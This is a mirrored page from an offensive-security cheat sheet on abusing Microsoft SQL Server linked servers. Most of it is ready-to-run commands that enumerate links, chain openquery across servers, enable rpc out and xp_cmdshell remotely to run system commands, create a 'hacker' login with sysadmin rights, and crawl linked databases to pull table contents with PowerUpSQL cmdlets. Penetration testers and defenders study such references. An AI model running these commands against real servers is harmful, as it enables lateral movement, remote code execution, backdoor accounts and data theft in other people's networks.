mssql-linked-database.md (4939B)
1 --- 2 title: "MSSQL - Linked Database" 3 section: "Databases" 4 sectionSlug: "databases" 5 sourcePath: "docs/databases/mssql-linked-database.md" 6 sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/databases/mssql-linked-database.md" 7 sha: "203bb0c0b290" 8 isIndex: false 9 --- 10 11 # MSSQL - Linked Database 12 13 ## Summary 14 15 - [Find Trusted Link](#find-trusted-link) 16 - [Execute Query Through The Link](#execute-query-through-the-link) 17 - [Crawl Links for Instances in the Domain](#crawl-links-for-instances-in-the-domain) 18 - [Crawl Links for a Specific Instance](#crawl-links-for-a-specific-instance) 19 - [Query Version of Linked Database](#query-version-of-linked-database) 20 - [Execute Procedure on Linked Database](#execute-procedure-on-linked-database) 21 - [Determine Names of Linked Databases](#determine-names-of-linked-databases) 22 - [Determine All the Tables Names from a Selected Linked Database](#determine-all-the-tables-names-from-a-selected-linked-database) 23 - [Gather the Top 5 Columns from a Selected Linked Table](#gather-the-top-5-columns-from-a-selected-linked-table) 24 - [Gather Entries from a Selected Linked Column](#gather-entries-from-a-selected-linked-column) 25 26 ## Find Trusted Link 27 28 ```sql 29 select * from master..sysservers 30 ``` 31 32 ## Execute Query Through The Link 33 34 ```sql 35 -- execute query through the link 36 select * from openquery("dcorp-sql1", 'select * from master..sysservers') 37 select version from openquery("linkedserver", 'select @@version as version'); 38 39 -- chain multiple openquery 40 select version from openquery("link1",'select version from openquery("link2","select @@version as version")') 41 42 -- enable rpc out for xp_cmdshell 43 EXEC sp_serveroption 'sqllinked-hostname', 'rpc', 'true'; 44 EXEC sp_serveroption 'sqllinked-hostname', 'rpc out', 'true'; 45 select * from openquery("SQL03", 'EXEC sp_serveroption ''SQL03'',''rpc'',''true'';'); 46 select * from openquery("SQL03", 'EXEC sp_serveroption ''SQL03'',''rpc out'',''true'';'); 47 48 -- execute shell commands 49 EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer 50 select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"') 51 52 -- create user and give admin privileges 53 EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2" 54 EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2" 55 ``` 56 57 ## Crawl Links for Instances in the Domain 58 59 A Valid Link Will Be Identified by the DatabaseLinkName Field in the Results 60 61 ```ps1 62 Get-SQLInstanceDomain | Get-SQLServerLink -Verbose 63 select * from master..sysservers 64 ``` 65 66 ## Crawl Links for a Specific Instance 67 68 ```ps1 69 Get-SQLServerLinkCrawl -Instance "<DBSERVERNAME\DBInstance>" -Verbose 70 select * from openquery("<instance>",'select * from openquery("<instance2>",''select * from master..sysservers'')') 71 ``` 72 73 ## Query Version of Linked Database 74 75 ```ps1 76 Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DBSERVERNAME\DBInstance>`",'select @@version')" -Verbose 77 ``` 78 79 ## Execute Procedure on Linked Database 80 81 ```ps1 82 SQL> EXECUTE('EXEC sp_configure ''show advanced options'',1') at "linked.database.local"; 83 SQL> EXECUTE('RECONFIGURE') at "linked.database.local"; 84 SQL> EXECUTE('EXEC sp_configure ''xp_cmdshell'',1;') at "linked.database.local"; 85 SQL> EXECUTE('RECONFIGURE') at "linked.database.local"; 86 SQL> EXECUTE('exec xp_cmdshell whoami') at "linked.database.local"; 87 ``` 88 89 ## Determine Names of Linked Databases 90 91 > tempdb, model ,and msdb are default databases usually not worth looking into. Master is also default but may have something and anything else is custom and definitely worth digging into. The result is DatabaseName which feeds into following query. 92 93 ```ps1 94 Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select name from sys.databases')" -Verbose 95 ``` 96 97 ## Determine All the Tables Names from a Selected Linked Database 98 99 > The result is TableName which feeds into following query 100 101 ```ps1 102 Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select name from <DatabaseNameFromPreviousCommand>.sys.tables')" -Verbose 103 ``` 104 105 ## Gather the Top 5 Columns from a Selected Linked Table 106 107 > The results are ColumnName and ColumnValue which feed into following query 108 109 ```ps1 110 Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select TOP 5 * from <DatabaseNameFromPreviousCommand>.dbo.<TableNameFromPreviousCommand>')" -Verbose 111 ``` 112 113 ## Gather Entries from a Selected Linked Column 114 115 ```ps1 116 Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`"'select * from <DatabaseNameFromPreviousCommand>.dbo.<TableNameFromPreviousCommand> where <ColumnNameFromPreviousCommand>=<ColumnValueFromPreviousCommand>')" -Verbose 117 ```